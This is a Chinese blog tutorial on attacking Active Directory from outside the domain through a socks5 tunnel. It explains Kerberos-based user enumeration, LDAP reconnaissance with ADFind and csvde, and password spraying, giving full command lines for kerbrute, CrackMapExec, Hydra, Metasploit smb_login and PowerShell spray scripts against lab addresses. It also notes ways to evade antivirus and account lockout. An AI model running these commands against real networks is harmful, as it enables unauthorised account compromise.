[内网渗透]—域外向域内信息收集、密码喷洒

前言

当我们与目标内网建立了socks5隧道后,就可以从域外对域内机器进行信息搜集了,很多工具不用上传到目标机器,也就不易被AV检测到,但是有可能会被一些流量检测设备发现有大量socks5流量。

接下来介绍下如何通过域外对域内进⾏更深的信息搜集:枚举域⽤户、查看域内⽤户、查看域内组、查看域内机器列表…

LDAP

LDAP(轻量⽬录访问协议),是⼀种⽤来查询与更新 Active Directory 的⽬录服务通信协议。AD 域服务利⽤ LDAP 命名路径(LDAP naming path)来表示对象在 AD 内的位置,以便⽤它来访问 AD 内的对象,默认端⼝ 389。

LDAP 数据的组织方式

在这里插入图片描述

LDAP名称路径如下(借用师傅的图):
在这里插入图片描述

标识名称(distinguished Name,DN):它是对象在 Active Directory 内的完整路径,DN 有三个属性,分别

是 CN,OU,DC

  • DC (Domain Component):域名组件,例如test.lab中的test和lab
  • CN (Common Name):通⽤名称,⼀般为⽤户名或计算机名;
  • OU (Organizational Unit):*组织单位;也叫容器,可以理解为一个部门

例如,如上⽤户账户,其 DN 为:

CN=yuwin2012,OU=财务部,OU=readteam,DC=test,DC=lab

此DN表示yuwin2012存储在test.lab\readteam\财务部 路径中

域内用户枚举

正常域用户登录主机,我们可以通过 "net user /domain"来列举出域内的用户。但是当我们用非域用户进行登录时,是不能使用 "net user /domain"这条命令的。或者当主机不在域内但是能与域控通信时,以上两种情况我们可以通过以下方法对域内用户进行枚举。

枚举原理

Kerberos本身是一种基于身份认证的协议,在 Kerberos 协议认证的 第一阶段AS-REQ ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击。

在AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样

三种状态的错误代码分别为:

  • KRB5DC_ERR_PREAUTH_REQUIRED 需要额外的预认证(用户存在)
  • KRB5DC_ERR_CLIENT_REVOKED 客户端凭证已被吊销(禁用 )
  • KRB5DC_ERR_C_PRINCIPAL_UNKNOWN 在Kerberos数据库中找不到客户端(不存在)

当发送一个存在的用户yuwin7

在这里插入图片描述

编辑

返回“KRB5DC_ERR_PREAUTH_REQUIRED”,并携带"e-data"数据

在这里插入图片描述

当用户不存在返回“KRB5DC_ERR_C_PRINCIPAL_UNKNOWN”,不携带"e-data"数据

在这里插入图片描述

所以,根据AS的返回包来对域用户进行枚举

kerbrute工具枚举

先准备一个用户字典users.txt,用于对域内用户进行枚举

kerbrute下载

kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt
kerbrute.exe userenum --dc 192.168.52.163 -d sentiment.com user.txt

在这里插入图片描述

搜集域内各类信息

ADfind

ADfind 是⼀款 C++编写的⼯具,是⼀款⾮常知名的⼀款域内信息查询⼯具

获取域内用户信息

adfind.exe -h 192.168.52.163 -u sentiment\admin -up admin -b dc=sentiment,dc=com -f "objectcategory=user" 

-u、-up 分别代表域用户的用户名、密码,所以当知道域内任一用户的账号和密码后,便可获取其他域内用户信息

在这里插入图片描述

获取域内⽤户组列表信息

adfind.exe -h 192.168.52.163 -u sentiment\admin -up admin -b dc=sentiment,dc=com -f "objectcategory=group" 

获取指定域内组成员列表信息

获取sentiment.com\Domain Controllers 组中的成员信息

adfind.exe -h 192.168.52.163 -u sentiment\admin -up admin -b "OU=Domain Controllers,DC=sentiment,DC=com" member

在这里插入图片描述

获取域内完整 OU 列表信息

adfind.exe -h 192.168.52.163 -u sentiment\admin -up admin -default -f "objectcategory=organizationalUnit" name whenCreated

在这里插入图片描述

csvde

Csvde 是 Windwos server 2008 的内置命令⾏⼯具,位于 %windir%/ system32 ⽂件夹中。如果安装了AD 或者Active Directory轻型⽬录服务(AD LDS)服务器⻆⾊,则此功能可⽤。

获取域内详细信息

csvde -setspn sentiment -f sentiment.all.csv
#-f 文件名

在这里插入图片描述

导出后的文件有很多详细信息

在这里插入图片描述

获取域内所有用户的详细属性信息(DC, oU,CN,用户,邮箱,手机号,所在部门,用户描述信息等)

csvde -s 192.168.52.163 -a sentiment\admin admin -l "cn,objectclass,description,mail,title,department,telephoneNumber,name,homeDirectory,scriptPath,operatinqSystem,operatingSystemServicePack,dnsHostName" -r "(&(objectcategory=person)(objectClass=user))" -d "dc=sentiment,dc=com" -u -f sentiment.csv

ADExplorer

输入域控ip,以及域内任意用户即可登录查看域内信息

在这里插入图片描述

在这里插入图片描述

总结

在内⽹渗透中,有些苛刻的条件不允许我们上传⽂件到⽬标机器,但是⼿动去执⾏命令搜集信息 效率⼜不⾼,所以我们就需要从域外对域内进⾏信息搜集,通过 socks 隧道使⽤域外的⼯具对域内进⾏信息搜集,这样也能造成⽂件不落地,也⽅便,以上很多⼯具其原理就是通过 LDAP 的 389 端⼝进⾏ LDAP 查询。

密码喷洒攻击

在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题

获取了域用户后,进行密码喷洒

喷洒原理

在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回 KRB5KDC_ERP_PREAUTH_FAILED

在这里插入图片描述

kerbrute

使用单个密码依次去碰撞n个用户名

kerbrute.exe passwordspray --dc 192.168.52.163 -d sentiment.com user.txt admin -v
#admin为要碰撞的密码

在这里插入图片描述

crack.exe

crack 是⼀款⾮常好⽤的密码喷洒⼯具,并且速度快,⽀持对⼀个 C、B 段进⾏基于 smb 密码喷洒。

基于字典密码喷洒

crack.exe -P password.txt -U user.txt -i 192.168.52.163 -s smb

在这里插入图片描述

基于单个密码喷洒

crack.exe -P admin -U user.txt -i 192.168.52.163 -s smb

Invoke-DomainPasswordSprayOutsideTheDomain

下载地址: https://github.com/3gstudent/Homework-of-Powershell

powershell -exec bypass
Import-Module .\Invoke-DomainPasswordSprayOutsideTheDomain.ps1
Invoke-DomainPasswordSprayOutsideTheDomain -UserList user.txt -Domain "192.168.52.163/DC=sentiment,DC=com" -Password admin

在这里插入图片描述

MSF

首先要配置代理

setg proxies socks5:192.168.137.54:7777
setg ReverseAllowProxy true

使用模块

use scanner/smb/smb_login 

可以配置文件字典爆破

set user_file /root/users.txt
set pass_file /root/pass.txt

域爆破

set smbdomain redteam 

工作组爆破

set smbdomain . 

在这里插入图片描述

超级弱口令工具

超级弱⼝令检查⼯具是⼀款Windows平台的弱⼝令审计⼯具,⽀持批量多线程检查,可快速发现弱密码、弱⼝令账号,密码⽀持和⽤户名结合进⾏检查,⼤⼤提⾼成功率,⽀持⾃定义服务端⼝和字典。 ⼯具采⽤C#开发,需要安装.NET Framework 4.0,⼯具⽬前⽀持SSH、 RDP、 SMB、 MySQL、 SQLServer、 Oracle、 FTP、 MongoDB、Memcached、 PostgreSQL、 Telnet、 SMTP、 SMTP_SSL、 POP3、 POP3_SSL、 IMAP、 IMAP_SSL、 SVN、VNC、 Redis等服务的弱⼝令检查⼯作。

下载地址: https://github.com/shack2/SNETCracker

只扫出了一台主机的密码

在这里插入图片描述

CrackMapExec

CrackMapExec(⼜名 CME)是⼀款⾮常好⽤的密码喷洒攻击的⼯具,在 Kali Linux 默认已经安装好。

下载地址: https://github.com/byt3bl33d3r/CrackMapExec

crackmapexec smb 192.168.52.163 -u user.txt -p 'admin' --continue-on-success

Hydra

https://github.com/scu-igroup/ssh-scanner

Hydra 是最著名的暴⼒破解⼯具之⼀,我将在这⾥针对 SMB 协议,但这款⼯具⼏乎可以使⽤任何其他协议来完成密码喷洒

hydra -L user.txt -p admin 192.168.52.190 smb

在这里插入图片描述

DomainPasswordSpray

powershell -exec bypass
Import-Module .\DomainPasswordSpray.ps1
#单密码喷洒
Invoke-DomainPasswordSpray -password ad
#字典爆破
Invoke-DomainPasswordSpray -UserList user.txt -Domain sentiment.com -PasswordList password.txt -OutFile result.txt

在这里插入图片描述

  • UserList:用户字典
  • Password:单个密码
  • PasswordList:密码字典
  • OutFile:输出的文件名
  • Domain:要爆破的域

参考

Kerberos认证流程数据包分析 - Yangsir34 - 博客园 (cnblogs.com)

从域外对域内进行信息收集、密码喷洒_山山而川’的博客-CSDN博客

内网渗透之横向移动 – 从域外向域内进行密码喷洒攻击 - 腾讯云开发者社区-腾讯云 (tencent.com)

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值